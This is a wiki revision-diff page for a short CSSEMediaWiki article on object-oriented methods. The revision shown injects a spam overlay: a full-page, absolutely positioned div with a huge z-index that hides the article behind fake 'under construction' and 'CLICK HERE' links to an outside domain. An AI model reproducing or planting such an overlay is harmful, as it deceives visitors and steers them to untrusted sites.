Method

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
Line 10: Line 10:
 
A method is usually considered synonymous with a function or procedure. However, these terms are usually associated with the functional and procedural programming paradigms.
 
A method is usually considered synonymous with a function or procedure. However, these terms are usually associated with the functional and procedural programming paradigms.
  
== See Also ==
+
>== See Also ==
 
* [[Class versus Object]]
 
* [[Class versus Object]]
  
Line 16: Line 16:
  
 
[[Category: Nomenclature]]
 
[[Category: Nomenclature]]
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://iwybyjytu.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
 +
----
 +
=[http://iwybyjytu.co.cc CLICK HERE]=
 +
----
 +
</div>

Revision as of 03:33, 18 November 2010

Methods are a means of providing objects or classes with behaviour. Methods are usually associated with an object or class; however, certain languages like Dylan do not require this association. In most well known OO programming languages the use of inheritance allows the mostly class based association to be widened to include subclasses. They usually consist of four parts:

  • A textual name
  • A visibility modifier - This defines the encapsulation of the method: either public or within some boundary (be it class, object or some other construct)
  • Zero or more parameters - The inputs to the method, either primitives or objects (this can be language specific).
  • A returned type - Either no return type (void) or returning some primitive (e.g. float, int) or an object.

A method may also have other modifiers that change the actions of the method. In Java, an example of this is synchronized.

A method is usually considered synonymous with a function or procedure. However, these terms are usually associated with the functional and procedural programming paradigms.

>== See Also ==



Personal tools